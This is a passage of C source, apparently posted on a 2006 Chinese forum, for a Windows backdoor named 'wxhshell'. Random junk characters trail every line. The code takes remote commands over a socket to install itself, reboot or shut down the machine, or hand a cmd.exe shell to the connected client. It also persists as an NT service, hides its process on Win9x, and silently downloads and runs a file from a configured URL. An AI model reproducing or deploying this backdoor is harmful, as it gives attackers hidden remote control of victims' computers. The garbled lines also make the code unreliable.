    break; ekO*(vQ~  
  } ,v*<yz/  
  // 安装 g;<_GL  
  case 'i': { kNTxYJ  
    if(Install()) h_ J|uu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{1|@?ii  
    else VWcR@/3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`r_ Dz  
    break; &1,qC,:!  
    } <t4l5nr#  
  // 卸载 ;/<J& #2.  
  case 'r': { t!}?nw%$  
    if(Uninstall()) a+{95"4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jRzQ`*KC#  
    else $)Pmr1==  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [:\8Ug8  
    break; ?$FvE4!n  
    } oFUP`p%[  
  // 显示 wxhshell 所在路径 =8)q-{p3  
  case 'p': { FR@## i$  
    char svExeFile[MAX_PATH]; sy.U] QG  
    strcpy(svExeFile,"\n\r"); rJl'+Ae9N|  
      strcat(svExeFile,ExeFile); nH]F$'rtA  
        send(wsh,svExeFile,strlen(svExeFile),0); k!6wVJ|_Y  
    break; :ift{XR'  
    } b?FTwjV+#  
  // 重启 Bn_@R`  
  case 'b': { u6(>?r-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;l6tZ]-"  
    if(Boot(REBOOT)) A1,- qv1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^04|tda  
    else { *S@0o6v  
    closesocket(wsh); Q.G6 y,KR  
    ExitThread(0); ?krgZ;Jj  
    } 4l*4w x""v  
    break; s8<)lO<SV.  
    } /N&)r wc  
  // 关机 zWh[U'6  
  case 'd': { D*R49hja{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =a .avOZ  
    if(Boot(SHUTDOWN)) yy6?16@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q={\|j$X  
    else { @n##.th  
    closesocket(wsh); cSSrMYX2  
    ExitThread(0); 3yfq*\_uXw  
    } &zYo   
    break; -v(.]`Wo&;  
    } IJA WG  
  // 获取shell Gq/f|43}@O  
  case 's': { 6*<=(SQI  
    CmdShell(wsh); 3:h9cO/9  
    closesocket(wsh); ![BQ;X  
    ExitThread(0); bVc;XZwI  
    break; [1Yx#t  
  } =U5lPsiv,3  
  // 退出 I~$LIdzw  
  case 'x': { /i]!=~\qFs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {zc<:^r^  
    CloseIt(wsh); ec4jiE  
    break; c2z%|\q  
    } w$cic  
  // 离开 H3"[zg9L:a  
  case 'q': { "3*Chc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e%'$Vx0kA  
    closesocket(wsh); b g'B^E3  
    WSACleanup(); 2@ >04]  
    exit(1); [y73 xF   
    break; AT:T%a:G?  
        } |yi3y `f  
  } n7"e 79  
  } uw@z1'D[i"  
\vB-0w  
  // 提示信息 XB)e;R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6}.B2f9  
} R<gC,eV<=  
  } 2B8p3A  
66?!"w  
  return; ?gb"S,  
} !<!sB)  
qwu++9BM  
// shell模块句柄 )>atoA  
int CmdShell(SOCKET sock) Z1FO.[FV  
{ *hAeA+:  
STARTUPINFO si; 6u3DxFiTm  
ZeroMemory(&si,sizeof(si)); O~g _rcG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w~EXO;L2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j=)Cyg3_%  
PROCESS_INFORMATION ProcessInfo; jK#y7E  
char cmdline[]="cmd"; f- pt8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U`JzE"ps]  
  return 0; :4h4vp<  
} "_ b Sy  
_=jc%@]1y  
// 自身启动模式   /I  
int StartFromService(void) a\\B88iRRZ  
{ `LnLd;Z  
typedef struct !arcQ:T@G  
{ Phl't~k  
  DWORD ExitStatus; g/so3F%v .  
  DWORD PebBaseAddress; )1O *~%  
  DWORD AffinityMask; 6hYv  
  DWORD BasePriority; )_b #c+  
  ULONG UniqueProcessId; @QtJ/("&WC  
  ULONG InheritedFromUniqueProcessId; h[3N/yP  
}   PROCESS_BASIC_INFORMATION; YL&$cT]1  
f3U#|(%(*  
PROCNTQSIP NtQueryInformationProcess; &by,uVb=|{  
&Z5$ 5,[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Ga>qIM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (`4^|_gw  
gE JmMh  
  HANDLE             hProcess; o(>!T=f  
  PROCESS_BASIC_INFORMATION pbi; *%'4.He7V  
x2/|i? ZO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GC H= X  
  if(NULL == hInst ) return 0; 8nQlmWpJ  
>DQl&:-)t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ][:6En}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jd&Qi)1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K8{ j oh  
9#/z [!  
  if (!NtQueryInformationProcess) return 0; Kom$i<O?48  
R+gh 2 6e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k\Oy\z@  
  if(!hProcess) return 0; 29 u"\f a  
88d0`6K-9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uwQ{y>SG  
q+dY&4&u  
  CloseHandle(hProcess); Vfp{7I$#6"  
5)V J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9fvy)kX;s  
if(hProcess==NULL) return 0; l+ bP48  
-a]oN:ERb  
HMODULE hMod; @pYAqX2  
char procName[255]; HV&N(;@  
unsigned long cbNeeded; !zvKl;yT  
k  5xzC&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jr*A1y*  
<y6M@(b  
  CloseHandle(hProcess); X82sw>Y  
8~EDmg[  
if(strstr(procName,"services")) return 1; // 以服务启动 '7 6}6G%  
B y6:  
  return 0; // 注册表启动 9/{+,RpC  
} 9,82Uta  
zbx,qctYo$  
// 主模块 P00d#6hPJ  
int StartWxhshell(LPSTR lpCmdLine) eq "a)QB3m  
{ ]$4k+)6  
  SOCKET wsl; K;_p>bI5  
BOOL val=TRUE; 45edyQ  
  int port=0; :!N 5daK  
  struct sockaddr_in door; IJs*zzR  
_|wgw^.LJ]  
  if(wscfg.ws_autoins) Install(); -mO[;lO  
2 Nr j@q  
port=atoi(lpCmdLine); Mm :6+  
e~ W35Y>A  
if(port<=0) port=wscfg.ws_port; d&w g\"E  
>72j,0=e  
  WSADATA data; "|]'\4UdzQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]H[RY&GY  
=KmjCz:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dsm_T1X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 {\b/NL$  
  door.sin_family = AF_INET; T#|Qexz6 @  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s)_7*DY  
  door.sin_port = htons(port); p;"pTGoW i  
j7xoe9;TxI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Um4 }`  
closesocket(wsl); 0 4x[@f`  
return 1; d@b"tb}R  
} Ii?<Lz  
bkceR>h%  
  if(listen(wsl,2) == INVALID_SOCKET) { u!k\W{  
closesocket(wsl); }C}~)qaZv+  
return 1; H(lq=M0~  
} s!9.o_k  
  Wxhshell(wsl); ?>1AT ==wI  
  WSACleanup(); KR^lmN  
NC>rZS]  
return 0; bVQLj}%   
]sd|u[:k  
} yXh=~:1~  
D}SRr,4v  
// 以NT服务方式启动 Z WL/AC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rG:IS=  
{ d8C?m*3 J  
DWORD   status = 0; SJ6lI66OX  
  DWORD   specificError = 0xfffffff; z;zy k  
~Hd{+0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %DqF_4U9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; al F*L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qmdl:J|?  
  serviceStatus.dwWin32ExitCode     = 0; Gx|$A+U  
  serviceStatus.dwServiceSpecificExitCode = 0; _'ltz!~  
  serviceStatus.dwCheckPoint       = 0; Dq)V] Zx  
  serviceStatus.dwWaitHint       = 0; pD9*WKEf*  
>DBaKLu\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u_dTJ, m  
  if (hServiceStatusHandle==0) return; X-|`|>3E  
>)R7*^m{'  
status = GetLastError(); 2o] V q  
  if (status!=NO_ERROR) .5p"o-:D  
{ M9.jJf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Om0Z\GP=  
    serviceStatus.dwCheckPoint       = 0; $iUK, ?  
    serviceStatus.dwWaitHint       = 0; |#D3~au   
    serviceStatus.dwWin32ExitCode     = status; w,SOvbAxX2  
    serviceStatus.dwServiceSpecificExitCode = specificError; skh6L!6*<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n[|&nv6x  
    return; y#F( xm+L  
  } KS!mzq-  
^ b{0|:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c/DB"_}!a  
  serviceStatus.dwCheckPoint       = 0; Rb Jl;  
  serviceStatus.dwWaitHint       = 0; s$4!?b$tw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ts`c_hH,1'  
} EdlU}LU  
o9(:m   
// 处理NT服务事件,比如:启动、停止 4:.yE|@h[  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  F"FGPk  
{ 8)\Td tBf9  
switch(fdwControl) (2RZc].M~  
{ -"Wp L2qD  
case SERVICE_CONTROL_STOP: 3.Z}2F]  
  serviceStatus.dwWin32ExitCode = 0; [#`)Bb&w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; : KhAf2A  
  serviceStatus.dwCheckPoint   = 0; {U?/u93~  
  serviceStatus.dwWaitHint     = 0; .|^L\L(!  
  { J,Du:|3o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8fRk8  
  } S+ gzl#r  
  return; Aj((tMJNOw  
case SERVICE_CONTROL_PAUSE: Vr@I9W;D#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F`IV9qv  
  break; `n7*6l<k~4  
case SERVICE_CONTROL_CONTINUE: P&@ 2DI3m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '=C)Hj[D  
  break; OPOL-2<wiy  
case SERVICE_CONTROL_INTERROGATE: }c|)i,bL  
  break; M6 l S2  
}; M:K5r7Q!yv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "i0{E!,XL  
} i,|2F9YH  
+NWhvs  
// 标准应用程序主函数 ncZ5r0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CzDJbvv ]  
{ 3pg_`  
]yI~S(  
// 获取操作系统版本 uU_lC5A|  
OsIsNt=GetOsVer(); zr#n^?m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FbO\#p s  
R@zl?>+  
  // 从命令行安装 $0+n0*fp  
  if(strpbrk(lpCmdLine,"iI")) Install(); zv/owK  
ip.aM#  
  // 下载执行文件 ,xmL[Yk,  
if(wscfg.ws_downexe) { kD1[6cJ!=.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >wx1M1  
  WinExec(wscfg.ws_filenam,SW_HIDE); %*J'!PC9n  
} P(h[QAM  
C.su<B?  
if(!OsIsNt) { a(cZ]`s]*  
// 如果时win9x,隐藏进程并且设置为注册表启动 V% -wZL/  
HideProc(); +2X q+P  
StartWxhshell(lpCmdLine); *F[;D7sZ~  
} [@K#BFA  
else P:Nj;Cxh  
  if(StartFromService()) FQ6jM~  
  // 以服务方式启动 &4]~s:F  
  StartServiceCtrlDispatcher(DispatchTable); Zq[aC0%+  
else _pZ2^OO@  
  // 普通方式启动 v>ygr8+C,  
  StartWxhshell(lpCmdLine); ..u2IdEu  
BBkYc:B=SA  
return 0; &v}c3wL]  
}
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只看该作者 1 发表于: 2006-10-10
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